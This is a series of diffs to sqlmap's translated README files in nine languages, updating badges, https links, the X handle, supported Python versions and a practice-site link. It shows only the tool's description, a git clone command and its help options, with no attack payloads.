python sqlmap.py -hh
```
আপনি একটি নমুনা রান দেখতে পারেন [এখানে](https://asciinema.org/a/46601)।
SQLMap-এর সম্পূর্ণ ফিচার, ক্ষমতা, এবং কনফিগারেশন সম্পর্কে বিস্তারিত জানতে [ব্যবহারকারীর ম্যানুয়াল](https://github.com/sqlmapproject/sqlmap/wiki/Usage) পড়ার পরামর্শ দেওয়া হচ্ছে।
লিঙ্কসমূহ
---
* হোমপেজ: https://sqlmap.org
* ডাউনলোড: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) অথবা [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* কমিটস RSS ফিড: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* ইস্যু ট্র্যাকার: https://github.com/sqlmapproject/sqlmap/issues
* ব্যবহারকারীর ম্যানুয়াল: https://github.com/sqlmapproject/sqlmap/wiki
* সচরাচর জিজ্ঞাসিত প্রশ্ন (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* ডেমো ভিডিও: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* অনুশীলন সাইট: https://sekumart.sekuripy.hr
* স্ক্রিনশট: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+68
View File
@@ -0,0 +1,68 @@
# sqlmap
[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/[email protected])](https://x.com/sqlmap)
<div dir=rtl>
بەرنامەی `sqlmap` بەرنامەیەکی تاقیکردنەوەی چوونە ژوورەوەی سەرچاوە کراوەیە کە بە شێوەیەکی ئۆتۆماتیکی بنکەدراوە کە کێشەی ئاسایشی SQL Injection یان هەیە دەدۆزێتەوە. ئەم بەرنامەیە بزوێنەرێکی بەهێزی دیاریکردنی تێدایە. هەروەها کۆمەڵێک سکریپتی بەرفراوانی هەیە کە ئاسانکاری دەکات بۆ پیشەییەکانی تاقیکردنەوەی دزەکردن(penetration tester) بۆ کارکردن لەگەڵ بنکەدراوە. لە کۆکردنەوەی زانیاری دەربارەی بانکی داتا تا دەستگەیشتن بە داتاکانی سیستەم و جێبەجێکردنی فەرمانەکان لە ڕێگەی پەیوەندی Out Of Band لە سیستەمی کارگێڕدا.
سکرین شاتی ئامرازەکە
----
<div dir=ltr>
![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
<div dir=rtl>
بۆ بینینی [کۆمەڵێک سکرین شات و سکریپت](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) دەتوانیت سەردانی ویکیەکە بکەیت.
دامەزراندن
----
بۆ دابەزاندنی نوێترین وەشانی tarball، کلیک [لێرە](https://github.com/sqlmapproject/sqlmap/tarball/master) یان دابەزاندنی نوێترین وەشانی zipball بە کلیککردن لەسەر [لێرە](https://github.com/sqlmapproject/sqlmap/zipball/master) دەتوانیت ئەم کارە بکەیت.
باشترە بتوانیت sqlmap دابەزێنیت بە کلۆنکردنی کۆگای [Git](https://github.com/sqlmapproject/sqlmap):
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap لە دەرەوەی سندوق کاردەکات لەگەڵ [Python](https://www.python.org/download/) وەشانی **2.6**، **2.7** و **3.x** لەسەر هەر پلاتفۆرمێک.
چۆنیەتی بەکارهێنان
----
بۆ بەدەستهێنانی لیستی بژاردە سەرەتاییەکان و سویچەکان ئەمانە بەکاربهێنە:
python sqlmap.py -h
بۆ بەدەستهێنانی لیستی هەموو بژاردە و سویچەکان ئەمە بەکار بێنا:
python sqlmap.py -hh
دەتوانن نمونەی ڕانکردنێک بدۆزنەوە [لێرە](https://asciinema.org/a/46601).
بۆ بەدەستهێنانی تێڕوانینێکی گشتی لە تواناکانی sqlmap، لیستی تایبەتمەندییە پشتگیریکراوەکان، و وەسفکردنی هەموو هەڵبژاردن و سویچەکان، لەگەڵ نموونەکان، ئامۆژگاریت دەکرێت کە ڕاوێژ بە [دەستنووسی بەکارهێنەر](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
بەستەرەکان
----
* ماڵپەڕی سەرەکی: https://sqlmap.org
* داگرتن: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) یان [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* فیدی RSS جێبەجێ دەکات: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* شوێنپێهەڵگری کێشەکان: https://github.com/sqlmapproject/sqlmap/issues
* ڕێنمایی بەکارهێنەر: https://github.com/sqlmapproject/sqlmap/wiki
* پرسیارە زۆرەکان (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* دیمۆ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* گۆڕەپانی تاقیکردنەوە: https://sekumart.sekuripy.hr
* وێنەی شاشە: https://github.com/sqlmapproject/sqlmap/wiki/وێنەی شاشە
وەرگێڕانەکان
@@ -1,6 +1,6 @@
# sqlmap
[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter[email protected])](https://twitter.com/sqlmap)
[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x[email protected])](https://x.com/sqlmap)
sqlmap ist ein quelloffenes Penetrationstest Werkzeug, das die Entdeckung, Ausnutzung und Übernahme von SQL injection Schwachstellen automatisiert. Es kommt mit einer mächtigen Erkennungs-Engine, vielen Nischenfunktionen für den ultimativen Penetrationstester und einem breiten Spektrum an Funktionen von Datenbankerkennung, abrufen von Daten aus der Datenbank, zugreifen auf das unterliegende Dateisystem bis hin zur Befehlsausführung auf dem Betriebssystem mit Hilfe von out-of-band Verbindungen.
@@ -20,7 +20,7 @@ Vorzugsweise kannst du sqlmap herunterladen, indem du das [GIT](https://github.c
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap funktioniert sofort mit den [Python](http://www.python.org/download/) Versionen 2.6, 2.7 und 3.x auf jeder Plattform.
sqlmap funktioniert sofort mit den [Python](https://www.python.org/download/) Versionen 2.6, 2.7 und 3.x auf jeder Plattform.
Benutzung
---
@@ -38,12 +38,13 @@ Ein Probelauf ist [hier](https://asciinema.org/a/46601) zu finden. Um einen Übe
Links
---
* Webseite: http://sqlmap.org
* Webseite: https://sqlmap.org
* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Problemverfolgung: https://github.com/sqlmapproject/sqlmap/issues
* Benutzerhandbuch: https://github.com/sqlmapproject/sqlmap/wiki
* Häufig gestellte Fragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
* Demonstrationen: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
* X: [@sqlmap](https://x.com/sqlmap)
* Demonstrationen: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Spielwiese: https://sekumart.sekuripy.hr
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+6 -5
View File
@@ -1,6 +1,6 @@
# sqlmap
[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter[email protected])](https://twitter.com/sqlmap)
[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x[email protected])](https://x.com/sqlmap)
sqlmap es una herramienta para pruebas de penetración "penetration testing" de software libre que automatiza el proceso de detección y explotación de fallos mediante inyección de SQL además de tomar el control de servidores de bases de datos. Contiene un poderoso motor de detección, así como muchas de las funcionalidades escenciales para el "pentester" y una amplia gama de opciones desde la recopilación de información para identificar el objetivo conocido como "fingerprinting" mediante la extracción de información de la base de datos, hasta el acceso al sistema de archivos subyacente para ejecutar comandos en el sistema operativo a través de conexiones alternativas conocidas como "Out-of-band".
@@ -19,7 +19,7 @@ Preferentemente, se puede descargar sqlmap clonando el repositorio [Git](https:/
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap funciona con las siguientes versiones de [Python](http://www.python.org/download/) **2.6**, **2.7** y **3.x** en cualquier plataforma.
sqlmap funciona con las siguientes versiones de [Python](https://www.python.org/download/) **2.7** y **3.x** en cualquier plataforma.
Uso
---
@@ -38,12 +38,13 @@ Para obtener una visión general de las capacidades de sqlmap, así como un list
Enlaces
---
* Página principal: http://sqlmap.org
* Página principal: https://sqlmap.org
* Descargar: [. tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) o [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* Fuente de Cambios "Commit RSS feed": https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Seguimiento de problemas "Issue tracker": https://github.com/sqlmapproject/sqlmap/issues
* Manual de usuario: https://github.com/sqlmapproject/sqlmap/wiki
* Preguntas frecuentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
* Demostraciones: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
* X: [@sqlmap](https://x.com/sqlmap)
* Demostraciones: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Campo de pruebas: https://sekumart.sekuripy.hr
* Imágenes: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+17 -16
View File
@@ -1,16 +1,16 @@
# sqlmap ![](https://i.imgur.com/fe85aVR.png)
# sqlmap
[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter[email protected])](https://twitter.com/sqlmap)
[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x[email protected])](https://x.com/sqlmap)
<div dir=rtl>
برنامه `sqlmap`، برنامه‌ی منبع باز هست که برای تست نفوذ پذیزی دربرابر حمله‌های احتمالی `sql injection` (جلوگیری از لو رفتن پایگاه داده) جلو گیری می‌کند. این برنامه مجهز به مکانیزیم تشخیص قدرتمندی می‌باشد. همچنین داری طیف گسترده‌ای از اسکریپت ها می‌باشد که برای متخصص تست نفوذ کار کردن با بانک اطلاعاتی را راحتر می‌کند. از جمع اوری اطلاعات درباره بانک داده تا دسترسی به داده های سیستم و اجرا دستورات از طریق `via out-of-band` درسیستم عامل را امکان پذیر می‌کند.
برنامه `sqlmap`، یک برنامه‌ی تست نفوذ منبع باز است که فرآیند تشخیص و اکسپلویت پایگاه های داده با مشکل امنیتی SQL Injection را بطور خودکار انجام می دهد. این برنامه مجهز به موتور تشخیص قدرتمندی می‌باشد. همچنین داری طیف گسترده‌ای از اسکریپت ها می‌باشد که برای متخصصان تست نفوذ کار کردن با بانک اطلاعاتی را راحتر می‌کند. از جمع اوری اطلاعات درباره بانک داده تا دسترسی به داده های سیستم و اجرا دستورات از طریق ارتباط Out Of Band درسیستم عامل را امکان پذیر می‌کند.
عکس
تصویر محیط ابزار
----
@@ -23,7 +23,7 @@
<div dir=rtl>
برای دیدن کردن از [مجموعه‌ی از اسکریپت‌ها](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) می‌توانید از ویکی دیدن کنید.
برای نمایش [مجموعه ای از اسکریپت‌ها](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) می‌توانید از دانشنامه دیدن کنید.
نصب
@@ -32,11 +32,11 @@
برای دانلود اخرین نسخه tarball، با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/tarball/master) یا دانلود اخرین نسخه zipball با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/zipball/master) میتوانید این کار را انجام دهید.
طرز استفاده
نحوه استفاده
----
برای گرفتن لیست ارگومان‌های اساسی می‌توانید از دستور زیر استفاده کنید:
برای دریافت لیست ارگومان‌های اساسی می‌توانید از دستور زیر استفاده کنید:
@@ -53,7 +53,7 @@
<div dir=rtl>
برای گرفتن لیست تمامی ارگومان‌های می‌توانید از دستور زیر استفاده کنید:
برای دریافت لیست تمامی ارگومان‌ها می‌توانید از دستور زیر استفاده کنید:
<div dir=ltr>
@@ -66,19 +66,20 @@
<div dir=rtl>
برای اطلاعات بیشتر برای اجرا از [اینجا](https://asciinema.org/a/46601) می‌توانید استفاده کنید. برای گرفتن اطلاعات بیشتر توسعه می‌شود به [راهنمای](https://github.com/sqlmapproject/sqlmap/wiki/Usage) `sqlmap` سر بزنید.
برای اجرای سریع و ساده ابزار می توانید از [اینجا](https://asciinema.org/a/46601) استفاده کنید. برای دریافت اطلاعات بیشتر در رابطه با قابلیت ها ، امکانات قابل پشتیبانی و لیست کامل امکانات و دستورات همراه با مثال می‌ توانید به [راهنمای](https://github.com/sqlmapproject/sqlmap/wiki/Usage) `sqlmap` سر بزنید.
لینک‌ها
----
* خانه: http://sqlmap.org
* دانلود: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* کایمت و نظرات: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* پیگری مشکلات: https://github.com/sqlmapproject/sqlmap/issues
* خانه: https://sqlmap.org
* دانلود: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) یا [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* نظرات: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* پیگیری مشکلات: https://github.com/sqlmapproject/sqlmap/issues
* راهنمای کاربران: https://github.com/sqlmapproject/sqlmap/wiki
* سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* تویتر: [@sqlmap](https://twitter.com/sqlmap)
* رسانه: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
* عکس‌ها: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
* توییتر: [@sqlmap](https://x.com/sqlmap)
* رسانه: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* زمین تمرین: https://sekumart.sekuripy.hr
* تصاویر: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+7 -6
View File
@@ -1,6 +1,6 @@
# sqlmap
[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter[email protected])](https://twitter.com/sqlmap)
[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x[email protected])](https://x.com/sqlmap)
**sqlmap** est un outil Open Source de test d'intrusion. Cet outil permet d'automatiser le processus de détection et d'exploitation des failles d'injection SQL afin de prendre le contrôle des serveurs de base de données. __sqlmap__ dispose d'un puissant moteur de détection utilisant les techniques les plus récentes et les plus dévastatrices de tests d'intrusion comme L'Injection SQL, qui permet d'accéder à la base de données, au système de fichiers sous-jacent et permet aussi l'exécution des commandes sur le système d'exploitation.
@@ -19,7 +19,7 @@ De préférence, télécharger __sqlmap__ en le [clonant](https://github.com/sql
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap fonctionne sur n'importe quel système d'exploitation avec la version **2.6**, **2.7** et **3.x** de [Python](http://www.python.org/download/)
sqlmap fonctionne sur n'importe quel système d'exploitation avec la version **2.7** et **3.x** de [Python](https://www.python.org/download/)
Utilisation
----
@@ -32,18 +32,19 @@ Pour afficher une liste complète des options et des commutateurs (switches), ta
python sqlmap.py -hh
Vous pouvez regarder un vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
Vous pouvez regarder une vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge, la description de toutes les options, ainsi que des exemples, nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Liens
----
* Page d'acceuil: http://sqlmap.org
* Page d'acceuil: https://sqlmap.org
* Téléchargement: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ou [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Suivi des issues: https://github.com/sqlmapproject/sqlmap/issues
* Manuel de l'utilisateur: https://github.com/sqlmapproject/sqlmap/wiki
* Foire aux questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
* Démonstrations: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
* X: [@sqlmap](https://x.com/sqlmap)
* Démonstrations: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Terrain de jeu: https://sekumart.sekuripy.hr
* Les captures d'écran: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+6 -5
View File
@@ -1,6 +1,6 @@
# sqlmap
[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter[email protected])](https://twitter.com/sqlmap)
[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x[email protected])](https://x.com/sqlmap)
Το sqlmap είναι πρόγραμμα ανοιχτού κώδικα, που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου SQL Injection σε βάσεις δεδομένων. Έρχεται με μια δυνατή μηχανή αναγνώρισης ευπαθειών, πολλά εξειδικευμένα χαρακτηριστικά για τον απόλυτο penetration tester όπως και με ένα μεγάλο εύρος επιλογών αρχίζοντας από την αναγνώριση της βάσης δεδομένων, κατέβασμα δεδομένων της βάσης, μέχρι και πρόσβαση στο βαθύτερο σύστημα αρχείων και εκτέλεση εντολών στο απευθείας στο λειτουργικό μέσω εκτός ζώνης συνδέσεων.
@@ -20,7 +20,7 @@
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
Το sqlmap λειτουργεί χωρίς περαιτέρω κόπο με την [Python](http://www.python.org/download/) έκδοσης **2.6**, **2.7** και **3.x** σε όποια πλατφόρμα.
Το sqlmap λειτουργεί χωρίς περαιτέρω κόπο με την [Python](https://www.python.org/download/) έκδοσης **2.7** και **3.x** σε όποια πλατφόρμα.
Χρήση
----
@@ -39,12 +39,13 @@
Σύνδεσμοι
----
* Αρχική σελίδα: http://sqlmap.org
* Αρχική σελίδα: https://sqlmap.org
* Λήψεις: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ή [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Προβλήματα: https://github.com/sqlmapproject/sqlmap/issues
* Εγχειρίδιο Χρήστη: https://github.com/sqlmapproject/sqlmap/wiki
* Συχνές Ερωτήσεις (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
* Demos: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
* X: [@sqlmap](https://x.com/sqlmap)
* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Χώρος δοκιμών: https://sekumart.sekuripy.hr
* Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+6 -5
View File
@@ -1,6 +1,6 @@
# sqlmap
[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter[email protected])](https://twitter.com/sqlmap)
[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x[email protected])](https://x.com/sqlmap)
sqlmap je alat namijenjen za penetracijsko testiranje koji automatizira proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije te preuzimanje poslužitelja baze podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, preko dohvaćanja podataka iz baze, do pristupa zahvaćenom datotečnom sustavu i izvršavanja komandi na operacijskom sustavu korištenjem tzv. "out-of-band" veza.
@@ -20,7 +20,7 @@ Po mogućnosti, možete preuzeti sqlmap kloniranjem [Git](https://github.com/sql
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap radi bez posebnih zahtjeva korištenjem [Python](http://www.python.org/download/) verzije **2.6**, **2.7** i/ili **3.x** na bilo kojoj platformi.
sqlmap radi bez posebnih zahtjeva korištenjem [Python](https://www.python.org/download/) verzije **2.7** i/ili **3.x** na bilo kojoj platformi.
Korištenje
----
@@ -39,12 +39,13 @@ Kako biste dobili pregled mogućnosti sqlmap-a, liste podržanih značajki te op
Poveznice
----
* Početna stranica: http://sqlmap.org
* Početna stranica: https://sqlmap.org
* Preuzimanje: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ili [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* RSS feed promjena u kodu: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Prijava problema: https://github.com/sqlmapproject/sqlmap/issues
* Korisnički priručnik: https://github.com/sqlmapproject/sqlmap/wiki
* Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
* Demo: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
* X: [@sqlmap](https://x.com/sqlmap)
* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Vježbalište: https://sekumart.sekuripy.hr
* Slike zaslona: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+19 -16
View File
@@ -1,51 +1,54 @@
# sqlmap
[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter[email protected])](https://twitter.com/sqlmap)
[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x[email protected])](https://x.com/sqlmap)
sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basisdata. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur hanal bagi _penetration tester_, beragam cara untuk mendeteksi basisdata, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_.
